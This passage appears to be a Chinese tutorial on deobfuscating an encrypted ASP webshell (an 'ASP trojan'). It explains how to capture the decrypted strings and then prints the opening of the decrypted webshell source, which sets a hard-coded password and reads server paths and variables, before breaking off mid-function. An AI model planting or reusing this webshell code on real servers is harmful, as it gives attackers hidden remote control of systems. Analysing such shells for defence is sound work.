ExeCuTe(UZSS(ShiSan))
可以看到开头部分是上个函数代码的末尾,ShiSan是加密字串,我们的加密对象,他们包含在一对括号之中,ExeCuTe(UZSS(ShiSan)) 就是执行解密函数和代码的语句。如果我们此时截获UZSS(ShiSan)),那么不就是明白了吗?因为ExeCuTe执行的肯定是标准代码,那么我们可以这样构造代码,在
ExeCuTe(UZSS(ShiSan))
后面添加这个代码
%><form name=pw>
<textarea cols="100" rows="20" name="minwen" value="<%=UZSS(ShiSan)%>"></textarea>
</form><%
那么就可以解密出这个shisan的加密,只要一运行那么就会在textarea中显示出代码。弊病我想你已经想到了,这个文件多达59个shisan加密字串。更为重要的是需要运行这个asp文件才能解密,那么在函数functon中的加密代码怎么办,大家都知道只要当调用这个函数的时候这个函数才会执行解密,那么我们怎么办,可能会有人说把上面代码放到函数中去不就行了?不行的,上面的代码放到函数中去了,那么他就成了函数的一部分,执行就会出错。
解密走到这里我们已经绕了一个大圈,仔细一想,按照shell文件的原来解密过程,自己写解密程序不是更好吗?解密函数已经放到程序中了,这样解密后代码准确,不会去纠正,只要加密shell是ok的那么解密的文件就没问题。
按照作者的解密函数,画了一个解密程序

一整剪切、复制后,这个shell就完全解密出来了。解密出来后记得重新处理特殊字符。
明文shell如下
<%@ LANGUAGE = VBScript %>
<%
UserPass="111"
mName="随机加密"
SiteURL="http://www.hacker.com"
Copyright="ASP木马随机加密器"
AD="随机加密"
imgurl="<img src='http://p7.images22.51img1.com/6000/god7girl7/7f1718b7d09d22cb0957f1ef93f8873d.gif' width=150 height=30></img>" '精美横条,不用图片改为<hr>
bj="#000000" '设置背景颜色
wz="#00ff00" '设置文字颜色
budu="#FFFFCC" '设置按钮对话框颜色
Server.ScriptTimeout=999999999:Response.Buffer =true:On Error Resume Next:sub ShowErr():If Err Then
RRS"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
Err.Clear:Response.Flush
End If
end sub:Sub RRS(str):response.write(str):End Sub:Function RePath(S):RePath=Replace(S,"",""):End Function:Function RRePath(S):RRePath=Replace(S,"",""):End Function:URL=Request.ServerVariables("URL"):ServerIP=Request.ServerVariables("LOCAL_ADDR"):Action=Request("Action"):RootPath=Server.MapPath("."):WWWRoot=Server.MapPath("/"):u=request.servervariables("http_host")&url:p=userpass:posurl="http":FolderPath=Request("FolderPath"):FName=Request("FName"):BackUrl="<br><br><center><a href='javascript:history.back()'>返回</a></center& gt;":function face(Color,Siz,Var):if Siz=0 then









